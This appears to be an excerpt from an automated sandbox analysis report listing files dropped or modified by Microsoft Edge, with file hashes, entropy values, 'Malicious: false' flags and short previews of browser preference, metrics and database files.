Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\660574d6-4ebb-4c0e-a8a4-5d91b3cb3bdf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44711
Entropy (8bit):	6.095223861921228
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4x7QLmZ1e45ne0GaDPEOKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7yOxvKoRTuiVIos
MD5:	5FAE84139C3D2BA3450B6F29735E4901
SHA1:	B2000AFFE5C0E4F67484C2A2D890EF4553A873E6
SHA-256:	D073D75BF849ACDB41613078135FDF8FE243D055AC31959F74FA82158E282D2A
SHA-512:	51401610915B82BCEAC7A717F586C482FC91174060216DC27966F25D5BABD3033B51B2DF8F4864A425DA2D552CFE8FEA708B779A26DE3083723B6EE8879C42B7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7e783f77-7e73-40a0-ab33-cae4b3307985.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46218
Entropy (8bit):	6.0865147812603215
Encrypted:	false
SSDEEP:	768:6MkbJrT8IeQcrQggKFOJLmZ1eZ5ne0GaDPEO3xIAB3lWC1oMwWE7RTupzKscDX/E:6Mk1rT8HAKd+hTWIoMoRTui8
MD5:	C12B1E2CCA95B08C471B0ACEFB333F65
SHA1:	A52EC5F1DDB646ECB52581DF889398D7D098358A
SHA-256:	57C849166CF807E2E30F95963C842DBE09D2073062444ED35F154B14ED605265
SHA-512:	AE7121FF3166000160A857920262064999010FAFE3248A2DA19727F6EB35D42FD3DE95D55134FCEA5C815B1A7FCDA0F9EB150E1D77E5191EB0075F1855F0E423
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"b7b76c7f-9a45-43d6-9c5e-d2540604b4b9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732215519"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673F82D8-1F30.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0469524957187014
Encrypted:	false
SSDEEP:	192:5gCfAPf0pqtmEnOAQCYzJ8STlGazrZX/gLX5hIw8EomwQ7ahb8N1IlRQ8nEdHn8H:eqAX0ctrmXYe8OhgMbAdH08T2RGOD
MD5:	141B3ED12929392323FF33D756E5138F
SHA1:	D16EF7A7D13315E022E3B2567BA8E6A91645EDE1
SHA-256:	5707B178BB6B4BAEE541A44B867460EC9D9483E137122F7947BBFD7A7C48C58B
SHA-512:	377DB83315FFA211DB11D887C5F3247841101D63A5342347148151E16F7B0BF60C9AC9C62E7E20B79F4A8AC20C6E8D1E9F8C4327226E88ADACC9AC0570456B59
Malicious:	false
Preview:	...@..@...@.....C.].....@................i...Y..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".sshdoq20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2........6

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673F82D9-1DB4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45174117611192943
Encrypted:	false
SSDEEP:	3072:KLY9eXFb1Q0WJ4wxi6bPkc3HDi7EXma4/AWovYagqOojnUdg1HF:x9eTCxi6zkc3mIWa+dagqOojnUdaH
MD5:	F5CCEA3AC02285E94594E3DFA940483E
SHA1:	CBECBCE3404B1EBD21703CF09CA55CB33D455488
SHA-256:	7F861EA2888E8A3B2F076121BF96946333D82FC768E3D603B988E2AD0F81D8ED
SHA-512:	FE09ED2932F1073C482A133752AC1BD64BB238D5AC192076EA755CABD7122EEE2EA97C1FCBD0465A46DA4C695C2402DE402F9D759B48EC8013C1AB9E39B32F45
Malicious:	false
Preview:	...@..@...@.....C.].....@...................X...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".sshdoq20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......y...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1e871fa9-973d-4741-98e3-2f4cfbd12065.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112425436387305
Encrypted:	false
SSDEEP:	192:stikdpdsR3Ia34Hkk8N8dbV+FI3QA4jq7NIOPZYJ:stiQdsR3XWbGEQxu7NIh
MD5:	745D1EA11D9F721B55146303C9829DCE
SHA1:	85EEAAFEB4887C19A44E3421FEA221E89D78AA4A
SHA-256:	3304CC467A9C8C7F70101D877D214153765278638CB6AE95C739FB953DEF8594
SHA-512:	63CB1DD95C09C22ADF16A9E1F0E98CA0CB2C466AE88F6EA8C1F948D97669FDC864A75E5C1FB8C43B044971DFBFF84F292B206304BED56E035D51B52575C31271
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376689114932940","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2147e313-f5f1-49f7-ac09-ec6691a40783.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566871030585312
Encrypted:	false
SSDEEP:	768:cfjlC4WPHTfEOGn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVXGYtGrwGpDtuo:cfjlC4WPHTfDSu1ja2ttD+tD
MD5:	F64B3C604B354CEB1AAE82096CA459EE
SHA1:	DD387C75BA1EE4A5A5F77205974943D89A404CFC
SHA-256:	11AB642B29C838F9E8156F123131F6CB0A26DC1104D678693B61C37D7CE44E08
SHA-512:	1EAA9C71CB868952450F78B092A7EF201B742707963A665A93FD9D69E6174D732162DC1B75AE6AACB689AF6FAD4BCBD209A5B3E75843484A8675F2ECF569665F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376689114121341","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376689114121341","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\65b835a9-e2b3-42b1-90e3-9cd7cee46977.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561134842858245
Encrypted:	false
SSDEEP:	768:cOdllI7pLGLPu4WPHTfDOGn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVhfNGYWGrwEbF:cOdll0cPu4WPHTfKSu1jaQfNtWDEbuVA
MD5:	701F05AEE68A111E490A54029D875D4E
SHA1:	FF8648BF3B86F43DD0664A892172FE6C8676833E
SHA-256:	2B19A61665A399A598E38E005A307ED3AA387E3C38724C67ABBFFB5D0A0AACA9
SHA-512:	1FBA2953A3AB33AB1A8103BC96FAD3517926C3BDE3DEF7BF0B8A9291E2A38A59AFAE24674C2E668787B888E6C6F7793A3138A0662B8062A1D0C4CD5C066993F0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376689114121341","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376689114121341","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7859dcae-8a27-45d0-9ba1-df7243697005.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17458), with no line terminators
Category:	dropped
Size (bytes):	17460
Entropy (8bit):	5.490349978161308
Encrypted:	false
SSDEEP:	384:stiPGQSu4dsR3Xx4QEF9m9ZDilTNbGEQwraf7NIh:sYOXuv31LwbGDre
MD5:	BD84F8FD9C702E1D49EF80C61923D26F
SHA1:	7622127D819916C20EBFF22698FE6362B4FFC373
SHA-256:	96DA55C15B4A3123BE7E4B3D05BCD447E8DF3ABDBE851C759FBDCD35C339A2FD
SHA-512:	A46A9BCE1254370192319D27D4F712AFE3AF9EAE2D9ECED16DFD3D1CDEA929322DD195D0D3C6C38C195C70601CE8A0A35687B85ECC3E99A31C28FF245CD071CA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376689114932940","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\82201988-ccc6-4390-a65c-d07b10322ab1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8a7b02ea-9887-48b1-9a4f-05d499e7864c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17457), with no line terminators
Category:	dropped
Size (bytes):	17459
Entropy (8bit):	5.490289549442165
Encrypted:	false
SSDEEP:	384:stiPGQSu4dsR3Xx4QEF9m9ZDilTNbGEQwr5f7NIh:sYOXuv31LwbGD6e
MD5:	3DF1C7268D2AD11ED01081F49021EC1F
SHA1:	198E3C61921EF0771D5D7229BB6ACDAE667BDD2F
SHA-256:	D360462686FA2DC5BCF11F450D9D4ADDCC25D783E5D8212B092719D060B9F385
SHA-512:	207C0B58D594DA9A6753A2C03540DACC6BB425894667F6C6B632A85FF7BF8A3A8401153943FF2476DFA739C2FB4C826433718F7C449ABB1EB395CA6087C703FE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376689114932940","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8bd51881-a9ba-4897-b798-6a4f02d92557.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.274561804995674
Encrypted:	false
SSDEEP:	6:HEhfWjMRM1CHhJ23oH+Tcwtp3hBtB2KLlVEhfCDGMq2PCHhJ23oH+Tcwtp3hBWsh:khfcyAYebp3dFLshfCDGMvBYebp3eFUv
MD5:	F076AA7A7FA79CBB07CC99C27D470943
SHA1:	25AD746BEF1EFE56BA0923A2BA19DF6095D60685
SHA-256:	2BB5DBE0FB4B32131176343D005B8B5B3976BFF7311F269D5CCF6544ACD95B41
SHA-512:	D9C8A5A21E494469D5D2272F159DF54B87241F2B584C950AEF34E7476CA0DDB3475AC1CF353F1228A61E8C4F7FE7A43D293F33CC60E508FB35833C5C95965402
Malicious:	false
Preview:	2024/11/21-13:58:39.931 1fc4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/21-13:58:40.006 1fc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138104546254135
Encrypted:	false
SSDEEP:	24576:hKPHfKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hKvfqJmcx
MD5:	9B82361FEFDCE226BDB698F4A00781E7
SHA1:	543A465E7B219AA13820D7C841837AA97B8A42CF
SHA-256:	C2C0BD557A4520451AFE8FCF6A5E954E35ED0E3FEE542C34C15942F4B646E9D4
SHA-512:	AC56989781172284962C8009A6C33C4EBACCD84C0E9D63699C9403E06DD1766A9EB7EB70182F61052A6184EE906FFE7055375C0592A78BFE4CC649425EBA21D9
Malicious:	false
